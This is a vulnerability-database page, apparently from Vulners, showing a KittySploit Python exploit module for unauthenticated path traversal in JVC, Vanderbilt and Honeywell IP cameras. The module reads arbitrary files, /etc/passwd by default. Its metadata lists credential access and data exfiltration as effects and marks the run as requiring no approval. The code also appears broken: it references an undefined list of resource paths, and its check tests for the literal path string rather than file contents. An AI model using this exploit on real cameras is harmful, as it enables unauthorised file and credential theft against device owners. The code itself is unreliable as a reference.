Lucene search
+L

JVC & Vanderbilt & Honeywell IP-Camera Path Traversal

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Path traversal in JVC, Vanderbilt, and Honeywell IP-cameras allows reading filesystem files.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""JVC & Vanderbilt & Honeywell IP-Camera Path Traversal"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'JVC & Vanderbilt & Honeywell IP-Camera Path Traversal',
        'description': 'Module exploits JVC IP-Camera VN-T216VPRU, Vanderbilt IP-Camera CCPW3025-IR / CVMW3025-IR and Honeywell IP-Camera HICC-1100PT Path Traversal vulnerability. If target is vulnerable it is possible to read file from the filesystem.',
        'author': ['Yakir Wizman', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'references': ['https://www.exploit-db.com/exploits/40281/'],
        'tags': ['iot', 'camera', 'lfi', 'unauth', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    filename = OptString("/etc/passwd", "File to read from the filesystem")

    def run(self):
        if self.check():
            print_success("Target appears to be vulnerable.")

            path = self.valid_resource.format(self.filename)

            response = self.http_request(
                method="GET",
                path=path,
            )

            if response is None:
                print_error("Error with reading response")
                return

            if response.text:
                print_status("Reading file: {}".format(self.filename))
                print_info(response.text)
            else:
                print_error("Exploit failed - empty response")

        else:
            print_error("Exploit failed - target seems to be not vulnerable")
    def check(self):
        filename = "/etc/passwd"
        for resource in self.resources:
            path = resource.format(filename)

            response = self.http_request(
                method="GET",
                path=path
            )

            if response and ("/etc/passwd" in (response.text or '')):
                self.valid_resource = resource
                return True  # target is vulnerable

        return False  # target is not vulnerable

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation